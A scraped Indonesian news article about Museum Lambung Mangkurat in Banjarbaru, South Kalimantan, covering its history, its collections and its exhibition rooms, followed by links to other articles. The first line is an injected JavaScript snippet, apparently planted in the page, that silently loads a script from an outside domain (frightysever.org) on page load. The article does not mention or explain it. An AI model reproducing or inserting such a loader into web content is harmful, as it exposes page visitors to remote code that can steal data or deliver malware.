(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Museum Lambung Mangkurat Banjarbaru adalah museum umum di Provinsi Kalimantan Selatan, sejak didirikan hingga tahun 2001 museum ini berstatus sebagai Unit Pelaksana Teknis (UPT) Direktorat Jenderal Kebudayaan, Jakarta. Setelah berlakunya Otonomi Daerah pada tahun 2001, Museum Lambung Mangkurat ini diserahkan ke daerah, di bawah pengelolaan Pemerintah Provinsi Kalimantan Selatan. Sejak itu Museum Lambung Mangkurat menjadi UPT Dinas Kebudayaan dan Pariwisata Kalsel.
Slamet Hadi Triyanto, Fungsional Pamong Budaya menjelaskan, Museum Lambung Mangkurat terbagi beberapa ruangan dengan lebih dari 12 ribu koleksi, hanya saja yang dipamerkan cuma sepertiganya saja.
“Terdapat 3 ruangan, ada ruang pra sejarah, ruang sejarah, dan etnis budaya. Ruangan di lantai dasar untuk pra sejarah dan sejarah, adapun ruang tingkat dua khusus untuk etnis dan budaya,†kata pamong budaya Museum Lambung Mangkurat ini.
Adapun jenis jenis koleksi Museum Lambung Mangkurat mulai dari geologika/geografika, biologika, etnografika, arkeologika, historika, numansimatika dan heraldika. Filologika, keramalogika, koleksi seni rupa dan tekhnologika.
Slamet menjelaskan di ruang pra sejarah, di wilayah Kalimantan Selatan pernah ditinggali oleh manusia pra sejarah, bias diliat dari beberapa penemuan tulang dan alat-alat prasejarah. Sebelum zaman sejarah pernah hidup manusia purba yang ditemukan di desa Awang Bangkal Kecamatan Karang Intan, Kabupaten Banjar. Juga ada koleksi peninggalan Candi Agung dan Candi Laras berupa patung patung arca zaman kerajaan Hindu-Budha.
Untuk ruang sejarah terdapat koleksi pada zaman Kerajaan Banjar setelah memeluk agama Islam. Slamet menjelaskan sejumlah barang koleksi tersebut banyak didapat dari peninggalan Belanda maupun Kerajaan Banjar sendiri.
“Benda-benda ini ada yang replika dan ada juga yang asli, contohnya seperti Kursi Kerajaan Banjar ini cuma replika yang aslinya di taruh di Museum Nasional Jakarta, dan senjata atau meriam ini bekas peninggalan Belanda pada waktu Perang Banjar pada pertempuran di Benteng Belanda Oranje Nassau di Pengaron, penyerangan itu dipimpin pencetus Perang Banjar yakni Pangeran Antasari,†jelasnya.
Keberadaan museum dapat memberikan informasi bersifat edukatif tentang sejarah dan kebudayaan lokal yang ditampilkan.
“Museum dapat dijadikan pendidikan non formal yang dapat memainkan peran positif dalam bidang pendidikan berkaitan dengan pencerdasan bangsa dan budaya,†pungkasnya. (yandi)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.